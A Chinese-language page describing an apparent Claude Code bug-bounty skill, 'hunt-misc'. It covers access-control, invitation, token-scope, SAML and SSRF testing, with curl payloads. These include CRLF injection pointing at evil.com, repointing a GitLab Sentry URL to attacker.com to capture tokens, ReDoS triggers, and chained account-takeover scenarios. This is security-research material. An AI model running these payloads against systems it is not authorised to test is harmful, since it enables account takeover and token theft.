关于 hunt-misc
hunt-misc 是针对访问控制、信息泄露、身份验证和配置问题的安全测试技能,提供检查角色边界、邀请流程、令牌、API 等攻击面的结构化方法。
主要功能
- 01梳理角色与权限边界
- 02测试邀请和移除账号流程
- 03检查令牌范围及跨租户访问
- 04探测内部 API 与 SAML 处理
- 05检查 URL 字段和 DNS 配置
适用场景
- 01测试用户移除后是否仍可访问
- 02检查邀请接受与验证流程
- 03发现 API 令牌权限范围校验缺口
- 04评估集成设置中的 SSRF 风险
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-misc安装后在 Claude Code 中输入/hunt-misc确认已加载。
详细介绍
高价值目标
此类漏洞为何收益高: MISC 漏洞涵盖访问控制失效、信息泄露、会话 / 身份验证逻辑缺陷和错误配置——这些类别一直带来最高的赏金,因为它们直接关联业务影响:数据暴露、账户接管、权限提升和基础设施失陷。
价值最高的目标:
- 具有角色层级的 SaaS 平台(Shopify、GitHub、GitLab)——所有者 / 管理员 / 员工 / 访客之间的任何边界都是权限提升攻击面
- 身份 / 身份验证流程——邀请链接、密码重置、SAML SSO、OAuth 令牌作用域
- 多租户系统——某个租户访问其他租户的数据
- 内部 API——LFS 端点、pre-receive hook、假定调用方可信的内部 GraphQL/REST
- 域名 / DNS 管理功能——转移控制、子域委派
- 令牌 / 凭据管理——PAT 作用域、部署密钥、存储在配置字段中的 API 令牌
收益最高的资产类型:
- 核心产品 API(而非营销子域)
- 企业版 / 可自托管版本(GitHub Enterprise、GitLab EE)
- 合作伙伴 / 协作者邀请系统
- OAuth 应用集成和 webhook 端点
攻击面信号
值得关注的 URL 模式:
/admin/*/transfer
/invitations/*
/partners/*/accept
/api/v*/repos/*/lfs/*
/-/settings/integrations/sentry
/api/v*/user/installations
/hooks/pre-receive/*
/reset-password?token=
/auth/saml/callback
/api/v*/packages/pypi/*
响应头信号:
X-Request-Id (pitchfork/Rack — check for header injection)
X-Shopify-Shop-Api-Call-Limit
X-GitLab-*
揭示内部攻击面的 JS 模式:
// Look for hardcoded internal API paths
fetch('/internal/api/
graphql { installations(
"scope": [], // empty scopes on tokens
"permissions": {"contents": "read"} // minimal scope PATs
技术栈信号:
- Ruby/Rack 中间件(
pitchfork中存在 CRLF 注入风险) - 企业实例启用了 SAML SSO
- PyPI 代理 / 镜像配置(依赖混淆)
- Sentry 错误跟踪集成字段(SSRF / 令牌泄露途径)
- 多角色邀请系统(合作伙伴、员工、协作者)
逐步狩猎方法
-
梳理所有角色/权限边界 — 列出每个角色级别(owner → admin → staff → guest → removed),并记录每个角色应当看到的内容
**标记使用规范:**探测角色边界时,在每个角色的测试数据中注入唯一令牌/标识符;标记必须是唯一的随机字母数字字符串(8 个字符以上,不含英文单词或协议关键词)。不合适的标记:
test、marker、attacker、evil、admin、AAAA。合适的标记:cpmark987abc、x4hd2k9pq。声称发现任何反射之前,先在基线(无标记)响应中搜索该标记;如果标记自然出现,请更换标记。**响应正文差异规则:**声称存在权限绕过,必须有响应正文差异,不能仅依据状态码。响应正文与基线逐字节相同的 200 OK 不属于权限绕过。声称存在权限绕过之前,务必并排比较响应正文。仅依据状态码提出的漏洞,是漏洞赏金平台上最常被判定为不适用的类别。
-
端到端测试邀请流程 — 不完成验证步骤即接受邀请;修改邀请令牌;测试以其他用户身份接受邀请是否会获得访问权限
-
测试移除后的访问权限 — 将用户添加到资源后移除,再测试其会话/令牌是否仍能授予访问权限(尤其是在从公司/组织中移除后)
-
模糊测试令牌范围强制机制 — 创建范围最小或没有范围的 PAT/令牌,然后调用理应需要更高权限范围的 API 端点
-
测试跨租户资源访问 — 以租户 A 的身份,通过操纵 ID、路径或标头,尝试读写租户 B 的资源
-
探查内部/未公开的 API 端点 — 查找 LFS 端点、内部 GraphQL 操作、pre-receive hook 环境、webhook 投递日志
-
检查 SAML/SSO 逻辑 — 通过移除签名、修改 NameID、重放断言或操纵 XML 命名空间,测试能否绕过签名验证
-
审计配置字段中的 SSRF/令牌窃取风险 — 管理员设置中的任何 URL 字段(Sentry DSN、webhook URL、代理 URL)都可能导致 SSRF 或凭据泄露
-
测试密码重置和电子邮件验证流程 — 跳过电子邮件验证步骤;测试重置令牌是否仅限单个用户使用;测试令牌能否重复使用
-
检查 HTTP 标头注入点 — 任何通过 Ruby/Rack 中间件传入响应标头的用户可控输入;测试 CRLF 序列
-
验证 DNS/子域名卫生状况 — 枚举子域名,检查是否存在悬空 CNAME 记录,并验证 SPF/DMARC/DKIM 记录
-
测试软件包注册表代理配置 — 查找通过转发请求到公共注册表(PyPI、npm、RubyGems)进行依赖混淆的可能性
载荷与检测模式
CRLF/标头注入(Ruby Net::HTTP、Rack/pitchfork):
# Test CRLF in header values
curl -v "https://target.com/path" \
-H $'X-Custom: value\r\nInjected-Header: evil'
# URL-encoded variant
curl -v "https://target.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=attacker"
# Test in pitchfork/Rack apps — inject via query param reflected in Location header
curl -v "https://shop.myshopify.com/login?return_to=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"
通过绕过邀请流程提升权限:
# Accept invitation without email verification
curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept" \
-H "Cookie: session=UNVERIFIED_SESSION" \
-d '{"role":"admin"}'
# Test invitation token for another user
curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN" \
-H "Cookie: session=VICTIM_SESSION"
绕过令牌范围(GitHub/GitLab PAT):
# Call privileged endpoint with minimal-scope token
curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN" \
"https://api.github.com/repos/org/private-repo/issues"
# Test suspended installation access
curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN" \
"https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"
通过配置 URL 字段进行 SSRF(Sentry 集成):
# Change Sentry URL to internal listener
curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry" \
-H "PRIVATE-TOKEN: MAINTAINER_TOKEN" \
-d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'
ReDoS 检测:
# Test Ruby URI parser
ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'
# Test IPAddr
ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'
# Timing-based detection
time curl "https://target.com/search?q=aaaa" # baseline
time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"
用于源代码侦察的 Grep 模式:
# Find SAML signature verification
grep -r "validate_signature\|verify_signature\|skip.*signature" --include="*.rb"
# Find hardcoded or weak scope checks
grep -r "without_scope\|any_scope\|scope.*bypass" --include="*.rb"
# Find invitation acceptance without verification
grep -r "accept.*invitation\|invitation.*accept" --include="*.rb" | grep -v "verified\|confirmed"
# Find internal API routes
grep -r "internal_api\|/_internal/\|/internal/" --include="*.rb" --include="*.js"
悬空子域名/DNS 检查:
# Check for obsolete DNS records
dig CNAME handbook.gitlab.com
curl -sI https://handbook.gitlab.com | head -5
# Look for NXDOMAIN or 404 on hosting provider = takeover candidate
# SPF check
dig TXT rubylang.org | grep spf
# Missing or ~all = email spoofing risk
常见根本原因
-
软删除时未使权限失效 — 从组织中移除用户时,只将其标记为已移除,却没有撤销活跃会话或缓存的权限检查;后续 API 调用仍会通过旧的身份验证上下文
-
接受邀请时缺少验证关卡 — 开发者以乐观方式实现邀请流程(假定收到邮件的用户就是合法用户),并且在不同会话使用令牌时跳过重新验证
-
令牌范围只在签发时检查,而非使用时检查 — 创建令牌时验证 PAT/OAuth 范围,但各个 API 端点处理程序不会重新检查范围,而是信任可能存在漏洞的中间件
-
仅在 UI 层检查基于角色的访问控制 — 前端会对受限角色隐藏按钮,但后端 API 端点不会执行相同的限制;直接调用 API 可绕过 UI 限制
-
SAML XML 解析问题 — 签名仅覆盖文档的一部分;XML 规范化差异会导致未签名内容通过验证;命名空间前缀攻击
-
将配置/URL 字段视为可信内部内容 — 假定集成 URL 字段(Sentry、webhooks)只能由可信管理员设置;维护者级别的角色可以修改这些字段以窃取令牌
-
通过字符串插值注入 Ruby 标头 — 开发者通过字符串拼接构建 HTTP 响应标头,却没有清理换行符;Rack 3 的行为变化暴露了此前隐藏的漏洞
-
代理/镜像配置将所有请求转发到上游 — 软件包注册表配置为回退到公共注册表,却没有限制哪些软件包仅限内部使用,从而导致依赖混淆
-
预接收钩子环境暴露特权上下文 — 钩子脚本可访问不应向用户开放的内部环境变量、git 内部数据或 SSH 密钥
-
混淆了多设备会话设计与会话固定 — 工程师通过签发永不过期的令牌来实现“在多台设备上保持登录”,将其视为一项功能,却带来了持久访问风险
-
将服务器策略响应误认为基于状态的预言机 — 当许多不同类型的路径返回相同的响应形式时,应怀疑这是服务器端的阻止列表/策略过滤器,而非真正的文件是否存在/用户是否存在/资源是否存在预言机。工程师添加了宽泛的过滤器(例如,“阻止任何以
.config/.ashx/.asmx/.svc结尾的路径”),无论底层文件是否存在,都返回相同的错误。不要根据“被阻止”推断“文件存在”;应使用独立信号进行验证(Collaborator 回调、大规模响应时间差异,或带外确认)。教训:SharePoint 的download.aspx?SourceUrl=对.ashx/.asmx/.svc/.config扩展名一律返回"blocked from this Web site by the server administrators",无论底层文件是否存在——这看起来像文件存在预言机,实际上只是扩展名阻止列表。将其误认为前者,结果得到了一份“发现的定制客户品牌端点”列表,但这些端点实际上并不存在。
绕过技巧
防御措施及其绕过方法:
| 防御措施 | 绕过方法 |
|---|---|
| 邀请时进行电子邮件验证 | 在验证步骤完成前,于其他会话中使用令牌;测试令牌是单次使用还是可重复使用 |
| API 端点上的角色检查 | 寻找其他 API 版本(/v3/ 与 /v4/)、GraphQL 别名或跳过中间件的内部端点 |
| SAML 签名验证 | 完全移除签名元素;利用 XML 命名空间混淆;注入额外的未签名 Assertion 元素 |
| PAT 范围强制检查 | 寻找在集合级别检查范围、但不在单个子资源上检查的端点;测试旧版 API |
| 用户移除时撤销令牌 | 在组织级别撤销令牌,但不在应用/安装级别撤销;测试跨安装令牌重用 |
| 对标头值进行输入清理 | 尝试 %0d%0a、\r\n、\u000d\u000a、后接 CRLF 的空字节;测试特定中间件版本的解析方式 |
| 将内部 API 限制为仅限 localhost 访问 | 寻找 SSRF 漏洞入口(Sentry URL、webhook URL),让服务器代你调用内部端点 |
| ReDoS 正则表达式加固 | 尝试不同的锚点——如果 # 已修补,试试 ?、% 或其他会触发回溯的 RFC 特殊字符 |
| 依赖项固定 | 稍微更改包名(仿冒包),或瞄准未发布到公共注册表的内部包名 |
| 子域名申领验证 | 监控托管服务商账号是否被删除;使用证书透明度日志查找未被申领的子域名 |
第 0 关验证
撰写报告前,请回答以下三个问题:
-
攻击者现在能做什么? 必须是具体操作:读取客户个人身份信息(PII)、将权限提升为管理员角色、接管账号、转移域名资产、窃取 API 令牌、注入响应标头。“有可能……”是不够的。
-
受害者会失去什么? 必须对应真实资产:客户数据、账号控制权、金融资产(域名)、凭据、代码仓库内容或平台信任。“未遵循安全最佳实践”不是有效答案。
-
能否从头开始在 10 分钟内复现? 写出确切步骤(不需要特殊工具,也不依赖需要碰运气的竞态条件)。如果需要满足预先存在的条件(例如,必须已经是维护者),请明确说明,并确认攻击者有现实途径满足这些条件。
真实影响示例
场景 A — 未验证合作伙伴邀请导致权限提升(Shopify 级别) 攻击者收到一个低权限角色的合作伙伴邀请链接。在完成电子邮件验证之前,他们在通过其他账户(或未登录任何账户)身份验证的会话中使用邀请令牌。平台未确认身份便授予其更高权限的合作伙伴角色,使攻击者能够访问商家数据、安装应用,或修改合作伙伴账户中所有店铺的配置。业务影响:攻击者在没有建立任何合法关系的情况下,获得数百家商家店铺的完整合作伙伴级访问权限。
场景 B — 移除后跨租户数据访问仍持续(Shopify/GitLab 级别) 一名权限受限的员工在发生争议后被移出公司账户。由于撤销操作只更新成员关系表,不更新会话存储,因此其会话令牌仍然有效。离职员工在被终止雇佣关系后的数天或数周内,仍可通过直接调用 API 访问客户 PII、订单数据和财务报告。业务影响:面临 GDPR/CCPA 违规风险、潜在的敲诈把柄以及商业情报窃取。
场景 C — SAML 签名绕过导致账户接管(GitHub Enterprise 级别)
攻击者以启用了 SAML SSO 的 GitHub Enterprise 实例为目标,构造一个 SAML 响应,其中的 Signature 元素被移除,或被移至仅覆盖非关键断言属性的位置。XML 解析器接受该文档为有效文档;签名验证器因已签名的子元素通过验证而判定签名有效;未签名部分中的 NameID(用户名/电子邮件)则被设置为受害者管理员账户。攻击者无需知道受害者的密码或 MFA 信息,即可冒充受害者完成身份验证。业务影响:获得企业中所有私有仓库、CI/CD 密钥和 GitHub Actions 工作流的完整管理员权限。
攻击链与组合(资深狩猎)
检查清单会告诉你如何逐一查找漏洞。资深人员会将基础漏洞原语组合起来,构成能够造成实际影响的多步骤攻击。以下每条攻击链都由本技能方法论中的现有漏洞原语和根本原因构成,并与相邻技能中的次级漏洞原语配对。它们的共同模式是:产生影响的是次级漏洞原语。单独的软删除 IDOR 是 N/A;若与不会使会话失效的会话存储问题结合,风险就会升至 High。
攻击链 1 — 软删除 + 移除后会话持续有效 → 跨租户 PII
- A. 找到一个“移除成员”端点,它会将
active=false标志设为 false 或删除成员关系记录,却不会使用户会话失效或撤销已签发的令牌(根本原因 #1:软删除未使权限失效)。 - B. 以即将被移除的员工身份登录;捕获会话 Cookie / PAT。
- C. 让组织管理员通过正常流程移除该用户。等待一段时间。使用捕获的令牌重新发起相同的 API 调用(
GET /admin/orders、GET /admin/payouts、GET /admin/customers)。 - **影响:**移除后数天或数周内,API 调用仍会成功——缓存的权限检查会通过旧的身份验证上下文。面临 GDPR/CCPA 违规风险、潜在的敲诈把柄以及商业情报窃取。
- **实际案例:**Shopify 移除员工后会话仍持续有效一类问题(2022 年);GitLab 移除成员后缓存权限仍有效一类问题。与
hunt-atoPath 5(会话固定)配合。
Chain 2 — 邀请令牌重用 + 跳过验证 → 注入特权角色
- A. 接收目标处低权限角色的邀请链接。
- B. 在完成邮箱验证前,从另一个会话(无痕浏览器 / 匿名请求)POST 邀请令牌。
- C. 服务端授予受邀角色,却不重新验证使用该令牌的会话是否与受邀邮箱匹配——新身份继承邀请的权限范围。
- Impact: 无需拥有受邀邮箱地址即可获得已提升权限的立足点。对于合作伙伴门户邀请(合作伙伴级角色可管理数百家下游商户),这是 Shopify Partners 级别的严重漏洞。
- 真实案例: 2020—2022 年多份 H1 Shopify Partners 漏洞披露(根本原因 #2)。与
hunt-auth-bypass第 7 步(邀请流程验证)相辅相成。
Chain 3 — Ruby 响应头中的 CRLF + 缓存投毒 → CDN 规模的大范围持久型 XSS
- A. 在 Ruby
Net::HTTP/ Rack 响应头中发现 CRLF 注入——用户可控值流入Location:或自定义X-*响应头(根本原因 #7:通过字符串插值注入 Ruby 响应头)。 - B. 注入
%0d%0aSet-Cookie: session=attacker,或注入重复的Cache-Control: public, max-age=3600,污染各 CDN 层级的缓存键规范化。 - C. 缓存会在整个 max-age 时间内存储被投毒的响应。受影响地区的每位 CDN 边缘节点访客都会收到攻击者的
Set-Cookie或攻击者可控的响应正文。 - Impact: 在整个 CDN 规模上造成跨客户 XSS / 会话固定;在缓存 TTL 到期前持续存在;影响访问该路径的所有访客。
- 真实案例: GitLab CRLF + 缓存投毒攻击链(H1 #1160407 / Iustin Ladunca,2021);Rack 3 行为变更生态系统安全公告(2022—2023)。与
hunt-cache-poison引用 #7 和 #10(Akamai 逐跳类问题)相辅相成。
Chain 4 — SAML XSW + 解析器差异 → 注入管理员声明 → SSO 账户接管
- A. 通过合法身份验证流程捕获有效的 SAMLResponse(在
/saml/acs或/Shibboleth.sso上筛选请求正文包含SAMLResponse=的 POST 请求)。 - B. 注入同级
<Assertion>元素,使签名检查器的 XML 解析器(REXML/Xerces)解析的节点与业务逻辑 XML 解析器(Nokogiri/JAXP)不同。对外层无害断言签名;在未签名的内层断言中嵌入<NameID>admin@victim</NameID>。 - C. SP 根据外层元素验证签名;SP 业务逻辑读取内层元素;无需密码或 MFA 即可取得管理员角色。
- Impact: 完全攻陷企业 SSO。每个由 SAML 保护的应用都会在整个会话有效期内继承伪造的管理员身份。
- 真实案例: GitHub Enterprise CVE-2025-25291 / CVE-2025-25292(解析器差异,2025);samlify CVE-2025-47949。交叉参考
hunt-auth-bypass已披露报告引用 #5 和 #7,以及根本原因 #5(SAML XML 解析问题)。
Chain 5 — 仅在签发时检查令牌范围,不在使用时检查 → 通过低权限 PAT 跨租户写入
- A. 创建仅具有
read:user范围的个人访问令牌 / OAuth 令牌。通过GET /api/me/tokens确认。 - B. 调用本应要求
write:*的写入端点(例如DELETE /repos/{org}/{repo}/issues/{n})。服务端通过中间件检查“是否已通过身份验证”,但单个处理程序不会重新验证 PAT 的范围子集。 - C. 尽管令牌只有只读权限,写入操作仍然成功。
- Impact: PAT 范围模型实际上失效——在受影响端点上,每个只读令牌都等同于写入令牌。任何持有泄露 PAT 的人都能对整个用户群大规模利用此问题。
- 真实案例: GitHub 在签发时检查 PAT 范围、使用时不检查这一类问题(根本原因 #3)。与第 4 步(PAT 范围强制模糊测试)及
hunt-api-misconfigJWT 范围绕过问题相辅相成。
链路 6 — OAuth redirect_uri 允许列表中的子域名接管 → 授权码窃取 → ATO
- A. 通过
/oauth/authorize流程枚举 OAuthredirect_uri允许列表;留意静态列表中是否有通配符*.target.com或可能被接管的主机名。 - B. 找到可接管的子域名(
legacy.target.com的 CNAME 指向已删除的 Vercel 项目 / Heroku 应用 / S3 存储桶——hunt-subdomain步骤 1)。 - C. 声明该子域名。托管 OAuth 回调接收器。将受害者引导至
/oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&...。授权码会到达攻击者的主机。通过令牌端点兑换令牌。ATO。 - 影响: 每当受影响客户端运行 OAuth 流程时,均可通过一次点击持续实现 ATO。
- 真实案例: Microsoft Azure DevOps
cloudapp.azure.com+ 通配符*.visualstudio.comreply_to 链(Binary Security,2022 年 11 月)。交叉引用hunt-subdomain已披露报告引用 #12。
操作者级模式
确认 A 中的某个杂项原语后,立即思考:有哪些状态机、缓存层、同级端点或认证状态偏差可以放大其影响?第一个原语是入场券,链路才是最终成果。本合集中的每项 Workstream-A 技能引用都至少对应上面一种链路形态:
hunt-auth-bypass— 链路 2、4、5hunt-cache-poison— 链路 3hunt-saml— 链路 4hunt-subdomain— 链路 6hunt-ato— 链路 1、2、5、6(所有产生最终影响的路径)
相关技能与链路
hunt-saml— SAML 签名包装(XSW1–XSW8)是典型的“杂项认证”严重漏洞。链路原语:SAML XSW +hunt-samlAttributeStatement 注入 → NameID 替换 → 通过无需密码的 SSO 接管受害者管理员账户。hunt-business-logic— 杂项角色 / 权限不同步漏洞与业务逻辑状态机缺陷有所重叠。链路原语:业务逻辑(邀请先于验证)+ 未确认身份即分配角色 → 租户接管。hunt-auth-bypass— 会话撤销缺口和过期令牌问题是纯粹的认证绕过原语。链路原语:被移除的用户仍保留会话令牌 →hunt-auth-bypass→ 离职后数据外泄和持久访问。hunt-ato— 大多数杂项认证漏洞最终都会导致账户接管。链路原语:剥离签名 / NameID 注入 +hunt-ato路径 6(JWT/SAML 操纵)→ 跨企业管理员 ATO。security-arsenal— 加载 SAML Raider 载荷包、会话撤销探测清单和 Always-Rejected 列表(认证限速、理论性问题、未涉及敏感 PII 的用户枚举)。triage-validation— 应用 7-Question Gate 和 Body-Diff Rule:杂项漏洞是 N/A 率最高的类别——状态不同步的主张需要具体的跨租户读取或管理员操作 PoC,而不只是“API 让我调用了它”。